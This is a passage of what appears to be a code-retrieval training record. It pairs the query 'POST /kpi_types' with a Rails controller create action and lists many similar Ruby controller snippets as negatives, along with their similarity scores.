"def read_file\n \t@readin = []\n file = File.open(@filename[@file_count], 'r')\n\t @readin = file.each.to_a\n\t # chop off the escaped characters (in this case: \\r\\n)\n @readin.map! {|s| s.chomp}\n # increment the file count\n @file_count += 1\n file.close\n # determine which file was read in\n # the files either have a \"W\" (for power) or \"Wh\" as the first line\n \tif @readin[0] =~ /Wh/\n \t\tparse_energy\n \telse @readin[0] =~ /W/\n \t\tparse_power\n \tend\n end",
"def read_file(filename); end",
"def read_loop(maxlen = 8192)\n while (data = sysread(maxlen))\n yield data\n end\n end",
"def read(amount = nil, buf = nil)\n raise(IOError, \"closed stream\") if @closed\n\n buf ||= ''.force_encoding(\"ASCII-8BIT\")\n buf.clear\n\n if amount.nil?\n read_to_buf(nil, buf) # read the entire file, returns buf\n elsif amount.negative?\n raise(ArgumentError, \"negative length #{amount} given\")\n elsif amount.zero?\n ''\n else\n read_to_buf(amount, buf)\n # if amount was specified but we reached eof before reading anything\n # then we must return nil\n buf.empty? ? nil : buf\n end\n end",
"def read(name)\n File.open(path(name)) do |f|\n f.read\n end\n end",
"def read(path); end",
"def each_chunk stream\n while !stream.eof?\n yield read_chunk stream\n end\n end",
"def getbyte\n while true # Performance\n return nil unless __advance!\n stream = @_st_stream\n if val = stream.getc\n return val\n end\n\n return nil if stream._equal?(File.__stdin)\n stream.close unless stream.closed?\n @_st_advance = true\n end\n end",
"def each_byte\n end"
] |
[
"0.68593466",
"0.6827926",
"0.6766371",
"0.66183096",
"0.66139156",
"0.65848696",
"0.6485944",
"0.64555776",
"0.64555776",
"0.64334774",
"0.64253825",
"0.63871706",
"0.6354275",
"0.63232845",
"0.6267984",
"0.62639207",
"0.62639207",
"0.6231327",
"0.6207792",
"0.62033266",
"0.61783713",
"0.617582",
"0.61439025",
"0.61180586",
"0.60963845",
"0.60767996",
"0.607443",
"0.6066473",
"0.6060653",
"0.60521865",
"0.60521865",
"0.6022355",
"0.6004652",
"0.59901285",
"0.59866726",
"0.5980612",
"0.59663755",
"0.59642357",
"0.5929031",
"0.59245664",
"0.5919014",
"0.5912012",
"0.5909097",
"0.59049153",
"0.59038544",
"0.59006023",
"0.58971757",
"0.58873796",
"0.58798754",
"0.58681816",
"0.5862247",
"0.5860573",
"0.5858743",
"0.58546203",
"0.5853035",
"0.5841618",
"0.58316296",
"0.58274543",
"0.5821294",
"0.5818793",
"0.58127624",
"0.5803198",
"0.5787567",
"0.5781991",
"0.57796454",
"0.57702917",
"0.5765324",
"0.57644206",
"0.57560676",
"0.57524294",
"0.5749455",
"0.5745086",
"0.5739574",
"0.57328624",
"0.5729847",
"0.5726963",
"0.57268673",
"0.57188743",
"0.57022905",
"0.57011914",
"0.56968427",
"0.5684975",
"0.56805074",
"0.5677445",
"0.56754893",
"0.56709516",
"0.56709516",
"0.56709516",
"0.56709516",
"0.56709516",
"0.56709516",
"0.56709516",
"0.5668517",
"0.56582487",
"0.56516093",
"0.5648616",
"0.5646923",
"0.56462646",
"0.5642451",
"0.56377244",
"0.56361896"
] |
0.0
|
-1
|
POST /kpi_types POST /kpi_types.json
|
def create
@kpi_type = KpiType.new(kpi_type_params)
if @kpi_type.save
flash[:success] = 'KPI Type was successfully created.'
redirect_to :back
else
flash[:danger] = 'KPI Type was not created.'
redirect_to :back
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def kpi_type_params\n params.require(:kpi_type).permit(:name,:code)\n end",
"def type_params\n params.from_jsonapi.require(:type).permit(:name)\n end",
"def add_dummy_type\n params[:data] ||= {}\n params[:data][:type] = resource_klass._type.to_s\n end",
"def create_types\n\t\t[]\n\tend",
"def create_types\n\t\t[]\n\tend",
"def create_types\n\t[]\nend",
"def create_types\n\t[]\nend",
"def evals_types\n call_path = \"evals/types\"\n data = build_post_data(\"\")\n perform_post(build_url(call_path), data)\n end",
"def pet_types\r\n BnetApi::make_request('/wow/data/pet/types')\r\n end",
"def create_types\n @types.each do |type|\n create_type(type) unless Type.where(name: type['name']).first\n end\n end",
"def tf_types\n {\n Api::Type::Boolean => 'schema.TypeBool',\n Api::Type::Double => 'schema.TypeFloat',\n Api::Type::Integer => 'schema.TypeInt',\n Api::Type::String => 'schema.TypeString',\n # Anonymous string property used in array of strings.\n 'Api::Type::String' => 'schema.TypeString',\n Api::Type::Time => 'schema.TypeString',\n Api::Type::Enum => 'schema.TypeString',\n Api::Type::ResourceRef => 'schema.TypeString',\n Api::Type::NestedObject => 'schema.TypeList',\n Api::Type::Array => 'schema.TypeList',\n Api::Type::KeyValuePairs => 'schema.TypeMap',\n Api::Type::Map => 'schema.TypeSet',\n Api::Type::Fingerprint => 'schema.TypeString'\n }\n end",
"def type_params\n params.require(:type).permit( :name)\n end",
"def create_types\n\t\t[Device]\n\tend",
"def create_types\n\t\t[Device]\n\tend",
"def create_break_type(body:)\n new_api_call_builder\n .request(new_request_builder(HttpMethodEnum::POST,\n '/v2/labor/break-types',\n 'default')\n .header_param(new_parameter('application/json', key: 'Content-Type'))\n .body_param(new_parameter(body))\n .header_param(new_parameter('application/json', key: 'accept'))\n .body_serializer(proc do |param| param.to_json unless param.nil? end)\n .auth(Single.new('global')))\n .response(new_response_handler\n .deserializer(APIHelper.method(:json_deserialize))\n .is_api_response(true)\n .convertor(ApiResponse.method(:create)))\n .execute\n end",
"def types\n configuration[:types]\n end",
"def type_params\n params.require(:type).permit(:name)\n end",
"def ptype_params\n params.require(:ptype).permit(:poke_type, :chinese, :japanese)\n end",
"def registered_types\n end",
"def platform_types\n get(\"platform-types\")[\"types\"]\n end",
"def device_type_params\n params.require(:device_type).permit(:code,\n :name,\n :internal_api_server_type,\n :internal_web_server_type,\n :desktop_type,\n :web_server_type,\n :mobile_type)\n end",
"def devicetype_params\n params.require(:devicetype).permit(:type)\n end",
"def types\n [\n { value: 'bus', name: 'Bus' },\n { value: 'coach', name: 'Coach' },\n { value: 'hgv', name: 'Heavy goods vehicle' },\n { value: 'van', name: 'Van' },\n { value: 'minibus', name: 'Minibus' },\n { value: 'private_car', name: 'Car' },\n { value: 'motorcycle', name: 'Motorcycle' }\n ]\n end",
"def create_type_params\n params.require(:create_type).permit(:name, :display_name, :note)\n end",
"def types()\n\t\t@pokemon_types = []\n\t\t@pokemon_api[\"types\"].each do |i|\n\t\t\t@pokemon_types.push(i[\"type\"][\"name\"].capitalize)\n\t\tend\n\t\treturn @pokemon_types\n\tend",
"def get_types(pokemon)\n pokemon_types = {}\n case pokemon['types'].size\n when 1\n pokemon_types[:type1] = pokemon['types'][0]['type']['name']\n when 2\n pokemon_types[:type1] = pokemon['types'][0]['type']['name']\n pokemon_types[:type2] = pokemon['types'][1]['type']['name']\n end\n pokemon_types\nend",
"def kpi_calculation_type_params\n params.require(:kpi_calculation_type).permit(:name, :code)\n end",
"def device_type_params\n params.require(:device_type).permit(:name)\n end",
"def type_params\n params.require(:type).permit(:common_name, :botanical_name, :info_panel, :count)\n end",
"def boot_types\n @types = {}\n type_names.each do |name , ivars |\n @types[name] = type_for( name , ivars)\n end\n type_type = @types[:Type]\n @types.each do |name , type |\n type.set_type(type_type)\n end\n end",
"def create\n @type = Type.new(type_params)\n\n unless @type.save\n render json: @type.errors, status: :unprocessable_entity\n end\n \n end",
"def cmd_types argv\n setup argv\n response = @api.types\n msg response\n return response\n end",
"def export_type_params\n params.require(:export_type).permit(:type_code, :name)\n end",
"def typeconge_params\n params.require(:typeconge).permit(:typeconge)\n end",
"def types\n commit('types', nil)\n end",
"def create\n @type_identification = TypeIdentification.new(type_identification_params)\n\n respond_to do |format|\n if @type_identification.save\n format.html { redirect_to @type_identification, notice: 'Type identification was successfully created.' }\n format.json { render :show, status: :created, location: @type_identification }\n else\n format.html { render :new }\n format.json { render json: @type_identification.errors, status: :unprocessable_entity }\n end\n end\n end",
"def pcr_type_params\n params.require(:pcr_type).permit(:name)\n end",
"def create\n @ptype = Ptype.new(ptype_params)\n\n respond_to do |format|\n if @ptype.save\n format.html { redirect_to @ptype, notice: 'Ptype was successfully created.' }\n format.json { render :show, status: :created, location: @ptype }\n else\n format.html { render :new }\n format.json { render json: @ptype.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @ptype = Ptype.new(ptype_params)\n\n respond_to do |format|\n if @ptype.save\n format.html { redirect_to @ptype, notice: 'Ptype was successfully created.' }\n format.json { render :show, status: :created, location: @ptype }\n else\n format.html { render :new }\n format.json { render json: @ptype.errors, status: :unprocessable_entity }\n end\n end\n end",
"def type_name_params\n params.require(:type_name).permit(:type_id, :name)\n end",
"def resource_type_params\n params.require(:resource_type).permit(:name)\n end",
"def use_type_params\n params.require(:use_type).permit(:name)\n end",
"def type_params\n params.require(:type).permit(:name, :image, :trash, :description, :image_id)\n end",
"def ptype_params\n params.require(:ptype).permit(:name, :plural, :schedule_type, :opening, :closing)\n end",
"def label_type_params\n params.require(:label_type).permit(:name, :label_id)\n end",
"def create\n @ip_type = IpType.new(params[:ip_type])\n\n respond_to do |format|\n if @ip_type.save\n format.html { redirect_to @ip_type, :notice => 'Ip type was successfully created.' }\n format.json { render :json => @ip_type, :status => :created, :location => @ip_type }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @ip_type.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def device_type_params\n params.require(:device_type).permit(:classification, :description)\n end",
"def create\n @itype = Itype.new(params[:itype])\n\n respond_to do |format|\n if @itype.save\n format.html { redirect_to @itype, notice: 'Itype was successfully created.' }\n format.json { render json: @itype, status: :created, location: @itype }\n else\n format.html { render action: \"new\" }\n format.json { render json: @itype.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @ptypes = Ptype.all\n end",
"def index\n @ptypes = Ptype.all\n end",
"def create\n @providers_payment_type = Providers::PaymentType.new(providers_payment_type_params)\n\n respond_to do |format|\n if @providers_payment_type.save\n\n format.html { redirect_to providers_payment_types_path, notice: 'Payment type was successfully created.' }\n format.json { render :show, status: :created, location: @providers_payment_type }\n else\n format.html { render :new }\n format.json { render json: @providers_payment_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @receipt_item_type = current_account.receipt_item_types.create(receipt_item_type_params)\n if @receipt_item_type\n respond_with @receipt_item_type do |format|\n format.json { render :json => current_account.receipt_item_types.include_names.find(@receipt_item_type.id) }\n end\n else\n respond_with @receipt_item_type\n end\n end",
"def intervention_type_params\n params.require(:intervention_type).permit(:name, :obs)\n end",
"def test_ListPlatformTypes\n\t\tcolName = 'types'\n\t\tretClass = LeanTesting::PlatformType\n\t\tresp = rcol(colName, ['_id', 'name'])\n\t\t@client.debugReturn = {'data'=> JSON.generate(resp), 'status'=> 200}\n\n\t\tcol = @client.platform.types.all\n\n\t\tassert_equal resp[colName], col.toArray\n\t\tassert_instance_of retClass, col.collection[0]\n\t\tassert_equal resp['meta']['pagination']['total'], col.total\n\t\tassert_equal resp['meta']['pagination']['total_pages'], col.totalPages\n\t\tassert_equal resp['meta']['pagination']['count'], col.count\n\tend",
"def create\n @instance_type = InstanceType.new(params[:instance_type])\n\n respond_to do |format|\n if @instance_type.save\n format.html { redirect_to @instance_type, notice: 'Instance type was successfully created.' }\n format.json { render json: @instance_type, status: :created, location: @instance_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @instance_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def available_types\n # TODO pull this from DB or config\n [\n :kiosk,\n :ride,\n :store,\n :restaurant\n ]\n end",
"def ptype_params\n params.require(:ptype).permit(:ptype_name)\n end",
"def create\n @instance_type = InstanceType.new(instance_type_params)\n\n respond_to do |format|\n if @instance_type.save\n format.html { redirect_to @instance_type, notice: 'Instance type was successfully created.' }\n format.json { render action: 'show', status: :created, location: @instance_type }\n else\n format.html { render action: 'new' }\n format.json { render json: @instance_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def type_params\n params.require(:type).permit(:name, :index)\n end",
"def create\n @intervention_type = InterventionType.new(intervention_type_params)\n\n respond_to do |format|\n if @intervention_type.save\n format.html { redirect_to intervention_types_path, notice: 'O tipo de intervenção foi criado.' }\n format.json { render :show, status: :created, location: @intervention_type }\n else\n format.html { render :new }\n format.json { render json: @intervention_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def describe_types\n [@options[:type]].flatten.join('/')\n end",
"def create\n field_type_ids = params[:entry_type].delete(\"field_type_ids\")\n @entry_type = EntryType.new(params[:entry_type])\n @entry_type.field_type_ids = field_type_ids\n @entry_type.form_code = build_form_code(@entry_type.field_types)\n @entry_type.model_code = build_model_code(@entry_type.name, @entry_type.field_types)\n @entry_type.model = build_model_from_code(@entry_type)\n\n respond_to do |format|\n if @entry_type.save\n format.html { redirect_to @entry_type, notice: 'Entry type was successfully created.' }\n format.json { render json: @entry_type, status: :created, location: @entry_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @entry_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def products_type_params\n params.require(:products_type).permit(:name, :code)\n end",
"def powder_type_params\n params.require(:powder_type).permit(:name)\n end",
"def type\n @json['type']\n end",
"def create\n @realty_type = RealtyType.new(params[:realty_type])\n\n respond_to do |format|\n if @realty_type.save\n format.html { redirect_to @realty_type, notice: 'Realty type was successfully created.' }\n format.json { render json: @realty_type, status: :created, location: @realty_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @realty_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def method_type_params\n params.require(:method_type).permit(:description, :macroscopy, :diagnosis)\n end",
"def types\n @types ||= []\n end",
"def index_params\n params.permit(:type)\n end",
"def os_type_params\n params.require(:os_type).permit(:name, :description, :egc_server_type_id)\n end",
"def getTypes()\n\ttypes = Hash.new\n\n\t@fields_doc.elements.each(\"acda-fields/types/*\") { |elem|\n\t\tcase elem.name\n\t\t\twhen \"number\"\n\t\t\t\tnumber = nil\n\t\t\t\tif elem.attributes[\"default\"]\n\t\t\t\t\tnumber = NumberType.new(elem.attributes[\"id\"],\n\t\t\t\t\t\t\t\t\t\t\t elem.attributes[\"default\"])\n\t\t\t\telse\n\t\t\t\t\tnumber = NumberType.new(elem.attributes[\"id\"])\n\t\t\t\tend\n\n\t\t\t\ttypes[number.name] = number\n\n\t\t\twhen \"text\"\n\t\t\t\tstring = nil\n\t\t\t\tif elem.attributes[\"default\"]\n\t\t\t\t\tstring = StringType.new(elem.attributes[\"id\"],\n\t\t\t\t\t\t\t\t\t\t elem.attributes[\"default\"])\n\t\t\t\telse\n\t\t\t\t\tstring = StringType.new(elem.attributes[\"id\"])\n\t\t\t\tend\n\n\t\t\t\ttypes[string.name] = string\n\n\t\t\twhen \"choice\"\n\t\t\t\tchoices = Array.new\n\n\t\t\t\telem.elements.each(\"entry\") {\n |entry| choices.push(entry.attributes[\"name\"])\n }\n\n if elem.attributes[\"default\"]\n\t\t\t\t choice = ChoiceType.new(elem.attributes[\"id\"],\n\t\t\t\t\t\t\t\t\t\tchoices,\telem.attributes[\"default\"])\n else\n\t\t\t\t choice = ChoiceType.new(elem.attributes[\"id\"], choices)\n end\n\n\t\t\t \ttypes[choice.name] = choice\n\t\t\telse\n\t\t\t\traise RuntimeError, \"Unknown optional type #{elem.name}\"\n\t\tend\n\t}\n\n\treturn types\nend",
"def point_type_params\n params.require(:point_type).permit(:name, :point_id, :icon)\n end",
"def create\n @potion_type = PotionType.new(potion_type_params)\n\n respond_to do |format|\n if @potion_type.save\n format.html { redirect_to @potion_type, notice: 'Potion type was successfully created.' }\n format.json { render :show, status: :created, location: @potion_type }\n else\n format.html { render :new }\n format.json { render json: @potion_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def encounters_type_params\n params.require(:encounters_type).permit(:name, :description, :creator, :date_created, :retired, :retired_by, :date_retired, :retire_reason, :uuid)\n end",
"def create\n @value_type = ValueType.new(params[:value_type])\n\n respond_to do |format|\n if @value_type.save\n format.html { redirect_to @value_type, notice: 'Value type was successfully created.' }\n format.json { render json: @value_type, status: :created, location: @value_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @value_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_type_params\n params.require(:test_type).permit(:name, :description, :data)\n end",
"def types\n types = Question.distinct.pluck(:type)\n render json: types.to_a\n end",
"def probe_type_params\n params.require(:probe_type).permit(:name, :description, :communication_channel_id, :value1_type_id, :value2_type_id, :value3_type_id, :value4_type_id, :value5_type_id, :value6_type_id, :value7_type_id, :value8_type_id, :value9_type_id, :value10_type_id, :value11_type_id, :value12_type_id, :value13_type_id, :value14_type_id, :value15_type_id, :value16_type_id)\n end",
"def api_v1_user_type_params\n params.require(:api_v1_user_type).permit(:name)\n end",
"def rec_new\n @beer_types_to_try = BeerType.limit(6).map{|type| [type.id, type.name]}\n render json: @beer_types_to_try\n end",
"def create\n @typegroup = Typegroup.new(typegroup_params)\n\n respond_to do |format|\n if @typegroup.save\n format.html { redirect_to @typegroup, notice: 'Typegroup was successfully created.' }\n format.json { render action: 'show', status: :created, location: @typegroup }\n else\n format.html { render action: 'new' }\n format.json { render json: @typegroup.errors, status: :unprocessable_entity }\n end\n end\n end",
"def housing_type_params\n params.require(:housing_type).permit(:name)\n end",
"def filer_type_params\n params.require(:filer_type).permit(:type)\n end",
"def project_type_params\n params.require(:project_type).permit(:typeName)\n end",
"def types; end",
"def types; end",
"def types; end",
"def types; end",
"def types; end",
"def create\n @novelty_type = NoveltyType.new(novelty_type_params)\n\n respond_to do |format|\n if @novelty_type.save\n format.html { redirect_to @novelty_type, notice: 'Novelty type was successfully created.' }\n format.json { render :show, status: :created, location: @novelty_type }\n else\n format.html { render :new }\n format.json { render json: @novelty_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def terraintype_params\n params.require(:terraintype).permit(:name)\n end",
"def type\n @json_body['type']\n end",
"def phones_type_params\n params.require(:phones_type).permit(:name)\n end",
"def create\n @paper_type = PaperType.new(params[:paper_type])\n\n respond_to do |format|\n if @paper_type.save\n format.html { redirect_to @paper_type, notice: 'Paper type was successfully created.' }\n format.json { render json: @paper_type, status: :created, location: @paper_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @paper_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def types(types); end",
"def create\n @device_type = DeviceType.new(device_type_params)\n\n respond_to do |format|\n if @device_type.save\n format.html { redirect_to browse_url(protocol: redirect_protocol), notice: 'Device type was successfully created.' }\n format.json { render :show, status: :created, location: @device_type }\n else\n format.html { render :new }\n format.json { render json: @device_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @jewelry_type = JewelryType.new(params[:jewelry_type])\n\n respond_to do |format|\n if @jewelry_type.save\n format.html { redirect_to @jewelry_type, notice: 'Jewelry type was successfully created.' }\n format.json { render json: @jewelry_type, status: :created, location: @jewelry_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @jewelry_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def json_params\n params.require(:json).permit(:type, :data)\n end",
"def product_type_params\n params.require(:product_type).permit(:name)\n end",
"def update_types\n\t\t[]\n\tend"
] |
[
"0.67659",
"0.6282521",
"0.6281636",
"0.6183373",
"0.6183373",
"0.6123466",
"0.6123466",
"0.60953045",
"0.6090268",
"0.598207",
"0.5931976",
"0.5849073",
"0.5815785",
"0.5815785",
"0.5742959",
"0.5721692",
"0.57141656",
"0.5691886",
"0.5669951",
"0.5633514",
"0.56115025",
"0.55988365",
"0.559522",
"0.55739844",
"0.5571212",
"0.556762",
"0.55529463",
"0.55499136",
"0.5526532",
"0.5513662",
"0.5498891",
"0.5498025",
"0.54928774",
"0.54921085",
"0.54770947",
"0.5476283",
"0.5474475",
"0.5471927",
"0.5471927",
"0.54670745",
"0.54630715",
"0.54513687",
"0.5444176",
"0.54437286",
"0.5431602",
"0.5430572",
"0.5427077",
"0.54148865",
"0.5412849",
"0.5412849",
"0.5410906",
"0.54102635",
"0.53998107",
"0.5389002",
"0.53781116",
"0.5377697",
"0.53642637",
"0.5356697",
"0.5355763",
"0.5353329",
"0.5352322",
"0.5344505",
"0.5338601",
"0.53354204",
"0.5334882",
"0.5333958",
"0.5332078",
"0.5329294",
"0.5325861",
"0.532493",
"0.5324786",
"0.5324025",
"0.5322697",
"0.5320948",
"0.531803",
"0.5311578",
"0.5311322",
"0.5309034",
"0.5307606",
"0.53056985",
"0.52970815",
"0.52907205",
"0.52903974",
"0.5288796",
"0.5287005",
"0.5287005",
"0.5287005",
"0.5287005",
"0.5287005",
"0.528571",
"0.52748805",
"0.5273144",
"0.52703536",
"0.52696514",
"0.5267007",
"0.5265791",
"0.5262771",
"0.5260828",
"0.5260195",
"0.52592236"
] |
0.6586921
|
1
|
PATCH/PUT /kpi_types/1 PATCH/PUT /kpi_types/1.json
|
def update
if @kpi_type.update(kpi_type_params)
flash[:success] = 'KPI Type was successfully updated.'
redirect_to :back
else
flash[:danger] = 'KPI Type was not updated.'
redirect_to :back
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def change_type\n\t\t\trender json: User.update_type_by_id(params[:id], params[:type], params[:is])\n\t\tend",
"def update\n @type.update(type_params)\n end",
"def patch(type, info)\n path, info = type_info(type, :path), force_case(info)\n ida = type == :client ? 'client_id' : 'id'\n raise ArgumentError, \"info must include #{ida}\" unless id = info[ida]\n hdrs = headers\n if info && info['meta'] && (etag = info['meta']['version'])\n hdrs.merge!('if-match' => etag)\n end\n reply = json_parse_reply(@key_style,\n *json_patch(@target, \"#{path}/#{Addressable::URI.encode(id)}\", info, hdrs))\n\n # hide client endpoints that are not quite scim compatible\n type == :client && !reply ? get(type, info['client_id']): reply\n end",
"def update_issue_type(project_id_or_key, type_id, params = {})\n patch(\"projects/#{project_id_or_key}/issueTypes/#{type_id}\", params)\n end",
"def update\n respond_to do |format|\n if @novelty_type.update(novelty_type_params)\n format.html { redirect_to @novelty_type, notice: 'Novelty type was successfully updated.' }\n format.json { render :show, status: :ok, location: @novelty_type }\n else\n format.html { render :edit }\n format.json { render json: @novelty_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @api_v1_admin_type.update(api_v1_admin_type_params)\n format.html { redirect_to @api_v1_admin_type, notice: 'Admin type was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_admin_type }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_admin_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n raw = params[:sample_type]\n st = SampleType.find(raw[:id])\n\n st.name = raw[:name]\n st.description = raw[:description]\n st.save\n st.save_field_types raw[:field_types]\n\n render json: { sample_type: st }\n\n end",
"def update\n respond_to do |format|\n if @api_v1_user_type.update(api_v1_user_type_params)\n format.html { redirect_to @api_v1_user_type, notice: 'User type was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_user_type }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_user_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @instance_type.update(instance_type_params)\n format.html { redirect_to @instance_type, notice: 'Instance type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @instance_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @model_type.update(model_type_params)\n format.html { redirect_to @model_type, notice: 'Model type was successfully updated.' }\n format.json { render :show, status: :ok, location: @model_type }\n else\n format.html { render :edit }\n format.json { render json: @model_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @spec_type.update(spec_type_params)\n format.html { redirect_to @spec_type, notice: 'Spec type was successfully updated.' }\n format.json { render :show, status: :ok, location: @spec_type }\n else\n format.html { render :edit }\n format.json { render json: @spec_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_question_type\n form_params = params.require(:form).permit(:question_id, :question_type)\n\n render json: Question.update_question_type(form_params)\n end",
"def update\n respond_to do |format|\n if @intervention_type.update(intervention_type_params)\n format.html { redirect_to intervention_types_path, notice: 'O tipo de intervenção foi actualizado.' }\n format.json { render :show, status: :ok, location: @intervention_type }\n else\n format.html { render :edit }\n format.json { render json: @intervention_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_break_type(id:,\n body:)\n new_api_call_builder\n .request(new_request_builder(HttpMethodEnum::PUT,\n '/v2/labor/break-types/{id}',\n 'default')\n .template_param(new_parameter(id, key: 'id')\n .should_encode(true))\n .header_param(new_parameter('application/json', key: 'Content-Type'))\n .body_param(new_parameter(body))\n .header_param(new_parameter('application/json', key: 'accept'))\n .body_serializer(proc do |param| param.to_json unless param.nil? end)\n .auth(Single.new('global')))\n .response(new_response_handler\n .deserializer(APIHelper.method(:json_deserialize))\n .is_api_response(true)\n .convertor(ApiResponse.method(:create)))\n .execute\n end",
"def update\n @itype = Itype.find(params[:id])\n\n respond_to do |format|\n if @itype.update_attributes(params[:itype])\n format.html { redirect_to @itype, notice: 'Itype was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @itype.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @issue_type.update(issue_type_params)\n format.html { redirect_to @issue_type, notice: 'Issue type was successfully updated.' }\n format.json { render :show, status: :ok, location: @issue_type }\n else\n format.html { render :edit }\n format.json { render json: @issue_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @os_type.update(os_type_params)\n format.html { redirect_to @os_type, notice: 'Os type was successfully updated.' }\n format.json { render :show, status: :ok, location: @os_type }\n else\n format.html { render :edit }\n format.json { render json: @os_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @package_type.update(package_type_params)\n format.html { redirect_to @package_type, notice: 'Package type was successfully updated.' }\n format.json { render action: 'show', status: :ok, location: @package_type }\n else\n format.html { render action: 'edit' }\n format.json { render json: @package_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @claim_type.update(claim_type_params)\n format.html { redirect_to @claim_type, notice: 'Claim type was successfully updated.' }\n format.json { render :show, status: :ok, location: @claim_type }\n else\n format.html { render :edit }\n format.json { render json: @claim_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def type_params\n params.from_jsonapi.require(:type).permit(:name)\n end",
"def update\n @value_type = ValueType.find(params[:id])\n\n respond_to do |format|\n if @value_type.update_attributes(params[:value_type])\n format.html { redirect_to @value_type, notice: 'Value type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @value_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @poi_type = PoiType.find(params[:id])\n\n respond_to do |format|\n if @poi_type.update_attributes(params[:poi_type])\n format.html { redirect_to @poi_type, notice: 'PoiType was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @poi_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n prms = @boat_type.is_modification? ? modification_params : boat_type_params\n respond_to do |format|\n if @boat_type.update(prms)\n format.html { redirect_to edit_boat_type_path(@boat_type), notice: 'Тип лодки успешно обновлён' }\n format.json { render json: @boat_type.hash_view('control'), status: :ok}\n else\n format.html { render :edit }\n format.json { render json: @boat_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(name, type, options = {})\n Utils.stringify_keys!(options)\n path = \"/projects/#{project.name}/resources/#{name}\"\n\n headers = build_create_base_headers(name, type, options)\n body = build_create_base_body(options)\n\n !!client.put(path, headers: headers, body: body)\n end",
"def update\n respond_to do |format|\n if @method_type.update(method_type_params)\n format.html { redirect_to @method_type, notice: \"Method type was successfully updated.\" }\n format.json { render :show, status: :ok, location: @method_type }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @method_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @realty_type = RealtyType.find(params[:id])\n\n respond_to do |format|\n if @realty_type.update_attributes(params[:realty_type])\n format.html { redirect_to @realty_type, notice: 'Realty type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @realty_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @entry_type = EntryType.find(params[:id])\n\n respond_to do |format|\n field_type_ids = params[:entry_type].delete(\"field_type_ids\")\n @entry_type.field_type_ids = field_type_ids if field_type_ids\n params[:entry_type].delete(\"form_code\")\n if @entry_type.update_attributes(params[:entry_type])\n format.html { redirect_to @entry_type, notice: 'Entry type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @entry_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @lift_type.update(lift_type_params)\n format.html {redirect_to lift_types_path, notice: 'Lift type was successfully updated.'}\n format.json {render :show, status: :ok, location: @lift_type}\n else\n format.html {render :edit}\n format.json {render json: @lift_type.errors, status: :unprocessable_entity}\n end\n end\n end",
"def update\n respond_to do |format|\n if @setting_type.update(setting_type_params)\n format.html { redirect_to @setting_type, notice: 'Setting type was successfully updated.' }\n format.json { render :show, status: :ok, location: @setting_type }\n else\n format.html { render :edit }\n format.json { render json: @setting_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @os_type = OsType.find(params[:id])\n\n respond_to do |format|\n if @os_type.update_attributes(params[:os_type])\n format.html { redirect_to @os_type, notice: 'Os type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @os_type.errors, status: :unprocessable_entity }\n end\n end\n end",
